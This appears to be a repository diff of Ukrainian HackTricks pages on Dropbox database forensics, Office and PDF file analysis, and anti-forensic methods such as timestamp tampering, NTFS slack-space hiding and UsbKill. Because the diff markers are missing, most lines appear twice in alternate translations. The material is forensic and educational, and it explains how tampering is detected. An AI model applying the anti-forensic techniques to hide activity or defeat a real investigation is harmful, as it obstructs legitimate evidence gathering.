Отриманий hex є фінальним ключем, використаним для шифрування баз даних, який можна розшифрувати за допомогою:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
**База даних `config.dbx` містить:**
The **`config.dbx`** база даних містить:
- **Електронна пошта**: Електронна адреса користувача
- **usernamedisplayname**: Ім'я користувача
- **dropbox\_path**: Шлях, де знаходиться папка Dropbox
- **Host\_id: Хеш**, використовується для аутентифікації в хмарі. Це можна скасувати лише з веб-версії.
- **Root\_ns**: Ідентифікатор користувача
* **Email**: Електронна пошта користувача
* **usernamedisplayname**: Ім'я користувача
* **dropbox\_path**: Шлях, де знаходиться папка dropbox
* **Host\_id: Hash** використовується для аутентифікації в хмарі. Це можна скасувати лише з вебу.
* **Root\_ns**: Ідентифікатор користувача
**База даних `filecache.db` містить інформацію про всі файли та папки, які синхронізовані з Dropbox. Таблиця `File_journal` містить найбільш корисну інформацію:**
The **`filecache.db`** база даних містить інформацію про всі файли та папки, синхронізовані з Dropbox. Таблиця `File_journal` є тією, що містить більше корисної інформації:
- **Server\_path**: Шлях, де знаходиться файл на сервері (цей шлях передує `host_id` клієнта).
- **local\_sjid**: Версія файлу
- **local\_mtime**: Дата модифікації
- **local\_ctime**: Дата створення
* **Server\_path**: Шлях, де файл знаходиться на сервері (цей шлях передує `host_id` клієнта).
* **local\_sjid**: Версія файлу
* **local\_mtime**: Дата модифікації
* **local\_ctime**: Дата створення
Інші таблиці в цій базі даних містять цікаву інформацію:
Інші таблиці в цій базі даних містять більш цікаву інформацію:
- **block\_cache**: Хеш усіх файлів та папок Dropbox
- **block\_ref**: Пов'язаний ідентифікатор хешу таблиці `block_cache` з ідентифікатором файлу в таблиці `file_journal`
- **mount\_table**: Спільні папки Dropbox
- **deleted\_fields**: Видалені файли Dropbox
- **date\_added**
* **block\_cache**: хеш усіх файлів і папок Dropbox
* **block\_ref**: Пов'язує хеш ID таблиці `block_cache` з ID файлу в таблиці `file_journal`
* **mount\_table**: Спільні папки Dropbox
* **deleted\_fields**: Видалені файли Dropbox
* **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# Аналіз офісних файлів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Для отримання додаткової інформації перегляньте [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Це лише короткий огляд:
Для отримання додаткової інформації перевірте [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Це лише короткий виклад:
Microsoft створив багато форматів офісних документів, з двома основними типами: **формати OLE** (наприклад, RTF, DOC, XLS, PPT) та **формати Office Open XML (OOXML)** (такі як DOCX, XLSX, PPTX). Ці формати можуть містити макроси, що робить їх цілями для розсилання спаму та шкідливих програм. Файли OOXML структуровані як контейнери zip, що дозволяє їхню інспекцію шляхом розпакування, розкриваючи файл та ієрархію папок та вміст файлів XML.
Microsoft створила багато форматів офісних документів, з яких два основні типи - це **OLE формати** (такі як RTF, DOC, XLS, PPT) та **Office Open XML (OOXML) формати** (такі як DOCX, XLSX, PPTX). Ці формати можуть містити макроси, що робить їх цілями для фішингу та шкідливого ПЗ. Файли OOXML структуровані як zip-контейнери, що дозволяє їх перевірку шляхом розпакування, виявляючи ієрархію файлів і папок та вміст XML файлів.
Для дослідження структур файлів OOXML наведено команду для розпакування документа та структуру виводу. Документовано техніки приховування даних у цих файлах, що свідчить про постійні інновації у приховуванні даних у завданнях CTF.
Для дослідження структур файлів OOXML наводиться команда для розпакування документа та структура виходу. Техніки приховування даних у цих файлах були задокументовані, що вказує на постійні інновації в приховуванні даних у CTF викликах.
Для аналізу **oletools** та **OfficeDissector** пропонують комплексні набори інструментів для дослідження як OLE, так і OOXML документів. Ці інструменти допомагають в ідентифікації та аналізі вбудованих макросів, які часто служать векторами для доставки шкідливих програм, зазвичай завантажуючи та виконуючи додаткові зловмисні навантаження. Аналіз макросів VBA може бути проведений без Microsoft Office за допомогою Libre Office, що дозволяє відлагодження з точками зупинки та змінними перегляду.
Для аналізу **oletools** та **OfficeDissector** пропонують комплексні набори інструментів для вивчення як OLE, так і OOXML документів. Ці інструменти допомагають у виявленні та аналізі вбудованих макросів, які часто слугують векторами для доставки шкідливого ПЗ, зазвичай завантажуючи та виконуючи додаткові шкідливі вантажі. Аналіз VBA макросів можна проводити без Microsoft Office, використовуючи Libre Office, що дозволяє налагоджувати з точками зупинки та змінними спостереження.
Встановлення та використання **oletools** прості, з наданими командами для встановлення через pip та вилучення макросів з документів. Автоматичне виконання макросів спрацьовує за допомогою функцій, таких як `AutoOpen`, `AutoExec` або `Document_Open`.
Встановлення та використання **oletools** є простими, з командами для встановлення через pip та витягування макросів з документів. Автоматичне виконання макросів викликається такими функціями, як `AutoOpen`, `AutoExec` або `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, що підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Аналіз PDF-файлу
# Аналіз PDF файлів
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Для отримання додаткових відомостей перегляньте:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
**Для отримання додаткової інформації перевірте:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Формат PDF відомий своєю складністю та потенціалом для приховування даних, що робить його центральною точкою викликів з форензики CTF. Він поєднує елементи простого тексту з бінарними об'єктами, які можуть бути стиснуті або зашифровані, і може містити скрипти на мовах, таких як JavaScript або Flash. Для розуміння структури PDF можна звертатися до вступного матеріалу Дідьє Стівенса [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), або використовувати інструменти, такі як текстовий редактор або спеціалізований редактор PDF, наприклад Origami.
Формат PDF відомий своєю складністю та потенціалом для приховування даних, що робить його центром уваги для CTF судово-медичних викликів. Він поєднує елементи простого тексту з бінарними об'єктами, які можуть бути стиснуті або зашифровані, і може включати скрипти на мовах, таких як JavaScript або Flash. Щоб зрозуміти структуру PDF, можна звернутися до [вступних матеріалів](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Дідьє Стефенса або використовувати інструменти, такі як текстовий редактор або редактор, специфічний для PDF, наприклад, Origami.
Для глибокого дослідження або маніпулювання PDF-файлами доступні інструменти, такі як [qpdf](https://github.com/qpdf/qpdf) та [Origami](https://github.com/mobmewireless/origami-pdf). Приховані дані у PDF можуть бути приховані в:
Для глибшого дослідження або маніпуляції з PDF доступні інструменти, такі як [qpdf](https://github.com/qpdf/qpdf) та [Origami](https://github.com/mobmewireless/origami-pdf). Приховані дані в PDF можуть бути заховані в:
* Невидимих шарах
* Форматі метаданих XMP від Adobe
* Інкрементних поколіннях
* Тексті з таким же кольором, як фон
* Тексті за зображеннями або перекриваючими зображеннями
* Невідображених коментарях
* Інкрементальних генераціях
* Тексті того ж кольору, що й фон
* Тексті за зображеннями або накладених зображеннях
* Непоказаних коментарях
Для настроюваного аналізу PDF можна використовувати бібліотеки Python, такі як [PeepDF](https://github.com/jesparza/peepdf) для створення власних сценаріїв розбору. Крім того, потенціал PDF для зберігання прихованих даних настільки великий, що ресурси, такі як посібник NSA щодо ризиків та протиходій, хоч і більше не розміщені на своїй початковій позиції, все ще пропонують цінні уявлення. [Копія посібника](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) та колекція [прийомів формату PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) від Анж Альбертіні можуть забезпечити додаткове читання з цієї теми.
Для індивідуального аналізу PDF можна використовувати бібліотеки Python, такі як [PeepDF](https://github.com/jesparza/peepdf), щоб створити спеціальні скрипти для парсингу. Крім того, потенціал PDF для зберігання прихованих даних настільки великий, що ресурси, такі як посібник NSA з ризиків PDF та контрзаходів, хоча більше не розміщений за своєю первісною адресою, все ще пропонують цінні відомості. [Копія посібника](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) та колекція [трюків формату PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) від Анжелі Альберті можуть надати додаткову інформацію з цього питання.
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,107 +1,109 @@
# Анти-судово-експертні техніки
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Часові мітки
# Відмітки часу
Зловмисник може бути зацікавлений у **зміні часових міток файлів**, щоб уникнути виявлення.\
Можна знайти часові мітки всередині MFT в атрибутах `$STANDARD_INFORMATION` \_\_ та \_\_ `$FILE_NAME`.
Атакуючому може бути цікаво **змінити відмітки часу файлів**, щоб уникнути виявлення.\
Можна знайти відмітки часу всередині MFT в атрибутах `$STANDARD_INFORMATION` __ та __ `$FILE_NAME`.
Обидва атрибути мають 4 часові мітки: **Зміна**, **доступ**, **створення** та **зміна реєстрації MFT** (MACE або MACB).
Обидва атрибути мають 4 відмітки часу: **Модифікація**, **доступ**, **створення** та **модифікація реєстру MFT** (MACE або MACB).
**Windows explorer** та інші інструменти показують інформацію з **`$STANDARD_INFORMATION`**.
**Провідник Windows** та інші інструменти показують інформацію з **`$STANDARD_INFORMATION`**.
### TimeStomp - Анти-судово-експертний інструмент
## TimeStomp - Анти-форензичний Інструмент
Цей інструмент **модифікує** інформацію про часові мітки всередині **`$STANDARD_INFORMATION`**, **але** **не** інформацію всередині **`$FILE_NAME`**. Тому можливо **виявити** **підозрілу** **активність**.
Цей інструмент **змінює** інформацію про відмітки часу всередині **`$STANDARD_INFORMATION`** **але** **не** інформацію всередині **`$FILE_NAME`**. Тому можна **виявити** **підозрілу** **активність**.
### Usnjrnl
## Usnjrnl
**USN Journal** (Журнал номерів послідовності оновлень) є функцією NTFS (файлова система Windows NT), яка відстежує зміни обсягу. Інструмент [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) дозволяє досліджувати ці зміни.
**Журнал USN** (Журнал номерів послідовності оновлень) - це функція файлової системи NTFS (система файлів Windows NT), яка відстежує зміни обсягу. Інструмент [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) дозволяє переглядати ці зміни.
![](<../../.gitbook/assets/image (801).png>)
![](<../../.gitbook/assets/image (449).png>)
Попереднє зображення є **виходом**, показаним **інструментом**, де можна спостерігати, що деякі **зміни були виконані** до файлу.
Попереднє зображення - це **вихід**, показаний **інструментом**, де можна побачити, що до файлу було внесено деякі **зміни**.
### $LogFile
## $LogFile
**Всі зміни метаданих файлової системи реєструються** в процесі, відомому як [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Зареєстровані метадані зберігаються у файлі з назвою `**$LogFile**`, розташованому в кореневому каталозі файлової системи NTFS. Такі інструменти, як [LogFileParser](https://github.com/jschicht/LogFileParser), можуть бути використані для парсингу цього файлу та виявлення змін.
**Усі зміни метаданих в файловій системі реєструються** в процесі, відомому як [логування перед записом](https://en.wikipedia.org/wiki/Write-ahead_logging). Зареєстровані метадані зберігаються в файлі з назвою `**$LogFile**`, розташованому в кореневому каталозі файлової системи NTFS. Інструменти, такі як [LogFileParser](https://github.com/jschicht/LogFileParser), можуть використовуватися для розбору цього файлу та ідентифікації змін.
![](<../../.gitbook/assets/image (137).png>)
![](<../../.gitbook/assets/image (450).png>)
Знову ж таки, у виході інструмента можна побачити, що **деякі зміни були виконані**.
Знову ж таки, у виході інструменту можна побачити, що **було виконано деякі зміни**.
Використовуючи той же інструмент, можна визначити, **коли були змінені часові мітки**:
За допомогою цього ж інструменту можна визначити, **коли були змінені відмітки часу**:
![](<../../.gitbook/assets/image (451).png>)
![](<../../.gitbook/assets/image (1089).png>)
* CTIME: Час створення файлу
* ATIME: Час модифікації файлу
* MTIME: Час модифікації реєстру MFT файлу
* MTIME: Зміна реєстрації MFT файлу
* RTIME: Час доступу до файлу
## Порівняння `$STANDARD_INFORMATION` та `$FILE_NAME`
### Порівняння `$STANDARD_INFORMATION` та `$FILE_NAME`
Ще один спосіб виявлення підозрілих змінених файлів - порівняти час в обох атрибутах, шукаючи **неспівпадіння**.
Ще один спосіб виявити підозрілі модифіковані файли - це порівняти час на обох атрибутах, шукаючи **невідповідності**.
## Наносекунди
### Наносекунди
Відмітки часу **NTFS** мають **точність** **100 наносекунд**. Тому знаходження файлів з відмітками часу, наприклад, 2010-10-10 10:10:**00.000:0000, є дуже підозрілим**.
**NTFS** часові мітки мають **точність** **100 наносекунд**. Тому виявлення файлів з часовими мітками, такими як 2010-10-10 10:10:**00.000:0000, є дуже підозрілим**.
## SetMace - Анти-форензичний Інструмент
### SetMace - Анти-судово-експертний інструмент
Цей інструмент може змінювати обидва атрибути `$STARNDAR_INFORMATION` та `$FILE_NAME`. Однак починаючи з Windows Vista, для зміни цієї інформації потрібна жива ОС.
Цей інструмент може модифікувати обидва атрибути `$STARNDAR_INFORMATION` та `$FILE_NAME`. Однак, починаючи з Windows Vista, для зміни цієї інформації необхідна активна ОС.
# Приховування Даних
## Сховані дані
NTFS використовує кластер та мінімальний розмір інформації. Це означає, що якщо файл займає кластер та півтора, **залишкова половина ніколи не буде використана**, поки файл не буде видалено. Тому можна **приховати дані в цьому вільному просторі**.
NFTS використовує кластер та мінімальний розмір інформації. Це означає, що якщо файл займає кластер і півтора, то **залишкова половина ніколи не буде використана** до тих пір, поки файл не буде видалено. Тоді можливо **сховати дані в цьому слек-просторі**.
Є інструменти, такі як slacker, які дозволяють приховувати дані в цьому "прихованому" просторі. Однак аналіз `$logfile` та `$usnjrnl` може показати, що деякі дані було додано:
Існують інструменти, такі як slacker, які дозволяють ховати дані в цьому "схованому" просторі. Однак аналіз `$logfile` та `$usnjrnl` може показати, що деякі дані були додані:
![](<../../.gitbook/assets/image (452).png>)
![](<../../.gitbook/assets/image (1060).png>)
Тоді можна відновити вільний простір за допомогою інструментів, таких як FTK Imager. Зверніть увагу, що цей тип інструменту може зберігати вміст в обфускованому або навіть зашифрованому вигляді.
Тоді можливо відновити слек-простір, використовуючи інструменти, такі як FTK Imager. Зверніть увагу, що такі інструменти можуть зберігати вміст у зашифрованому або навіть обфусцированому вигляді.
# UsbKill
## UsbKill
Це інструмент, який **вимкне комп'ютер, якщо виявлені будь-які зміни в USB** портах.\
